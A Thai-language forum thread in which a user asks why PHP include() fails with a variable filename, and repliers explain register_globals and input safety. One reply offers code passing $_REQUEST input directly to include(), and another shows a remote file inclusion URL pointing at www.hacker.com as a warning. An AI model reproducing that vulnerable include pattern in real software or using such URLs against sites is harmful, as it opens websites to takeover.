ผมใช้ include($ตัวแปร) ไม่ได้น่ะคับ

รบกวนสอบถามผู้รู้ด้วยคับ คือผมใช้งาน include ในโฮสที่ให้บริการ hostso.com แต่ใช้งานฟังก์ชั่น include(“ชื่อไฟล์.php”); แบบนี้ได้คับ แต่พอใช้แบบนี้ include($ตัวแประชื่อไฟล์และนามสกุล); กลับทำงานไม่ได้ ผมลองใช้ฟังก์ชั่น file_exists(“ชื่อไฟล์.php”); ก็มีคับ แล้วลองใช้ file_exists($ตัวแปรชื่อไฟล์และนามสกุล); อันนี้กลับไม่เจอไฟล์ ผมล่ะงงคับ คือ ผมเคยเจออาการนี้กับผู้ใหบริการโอสในไทยน่ะคับแล้วโทรไปแจ้งเค้าก็แก้ไขให้คับ แต่ตอนนี้ผมใช้โฮสต่างประเทศเจอปัญญหานี้เค้าไม่รู้จะแก้ไขไงน่ะ เค้าบอกให้ผมลองไปหาข้อมูลดูถ้ามีวิธีให้แจ้งเค้าเค้าจะแกไขคอนฟิกให้น่ะคับ ไงรบกวนผู้รู้ให้ข้อมูลด้วยนะคับ เซ็งมากๆเลย ณ.เวลานี้

เดาว่าโฮสน่าจะปิด global register ลองใช้ .htaccess เปิด global register หรือเขียนโค้ดใหม่ (ความจริงควรจะเขียนโค้ดใหม่นะครับ)

$var = isset($_REQUEST[‘var’]) ? $_REQUEST[‘var’] : ‘default’;
include($var);

ลองดูครับ var ก็คือชื่อตัวแปลครับ
แต่การ include แบบนี้ไม่อยากจะให้ทำเลย เขาบอกว่ามันอันตราย

แล้วโดยส่วนมากเค้าใช้เป็นแบบไหนกันเหรอคับ อย่างถ้าผมจะรับค่าจาก ตัวแปรทีส่งมาแบบ get แล้วนำค่านั้นมาเปิดไฟล์น่ะคับ อีกอย่างถ้าเขียนเป็น if else หรือ case มันก็รู้สึกว่าต้องเขียนรองรับไปเรื่อยๆน่ะคับ

เค๊าไม่ค่อยแนะนำ ให้ทำกันครับ
เนื่องจากมีความเสี่ยง ในการถูก get ค่ามาจาก url อาจส่งผลเสีย กับ เว็บไซต์ของตนได้ครับ

include($var);

ถ้าจะอ่านข้อมูลในไฟล์ธรรมดา
ใช้ readfile($filename); ครับ

ห้ามนำตัวแปรที่รับมาจาก GET ไป include โดยตรงโดยเด็ดขาด !!!
ทำให้เว็บมีช่องโหว่ให้ถูก hack ได้สบายๆ เลยครับ

ขอมาย้ำดังๆ ใหญ่ๆ (กว่าเดิม) ให้อีกทีครับ :smash: :smash:

เทคนิคครับ

<?php

$file = !empty($_GET[“file”]) ? $_GET[“file”] : ‘’;
$allowed = array(‘file1’,‘file2’,‘file3’,‘file4’);

if (!in_array($file, $allowed))
die(“invalid input”);

readfile($file);

ถ้าไปจับตัวแปรตรงๆมา include เลยอาจจะเจอแบบนี้ได้
index.php?page=www.hacker.com/scripthack.php
ลูกค้าผมได้บทเรียนไปเยอะแล้ว

ลองแบบนี้ก็ปลอดภัยขึ้น

ไม่แนะนำให้เปิด register_global เช่นกันครับ
แนะนำให้แก้ code ให้ดึงตัวแปลมาใช้ได้ถูกต้อง
$_GET[var] ตัวแปลที่ส่งผ่านมาทาง url
$_POST[var] ตัวแปลที่ส่งมาทาง form แบบ method post
$_REQUEST[var] ตัวแปลทั้ง get และ post รวมกัน

และตามที่ด้านบนบอกมา ไม่ควรทำการ include($var) เพราะจะโดน hack ได้อย่างง่ายดาย

เอ่อ คือว่าผมเองไม่ได้รับค่าจาก พารามิเตอร์ get หรือ post น่ะคับ ผมจะเปิดไฟล์ที่เรียกออกมาจากฐานข้อมูลน่ะคับไม่ได้รับค่าจากอย่างอื่นน่ะคับ แต่มันทำไม่ได้จะต้องแก้ไงอ่ะคับ เพราะตรงส่วนนี้ไม่มีใครรู้อยู่แล้วน่ะคับ

งั้นก็แสดงว่าเขียน code ผิด เอา code มาดูสิครับ
ลองแบบนี้ดูว่าได้มั้ย

$filename = "ชื่อไฟล์";
$ext = "php";
$file = $filename.'.'.$ext;
include("$file");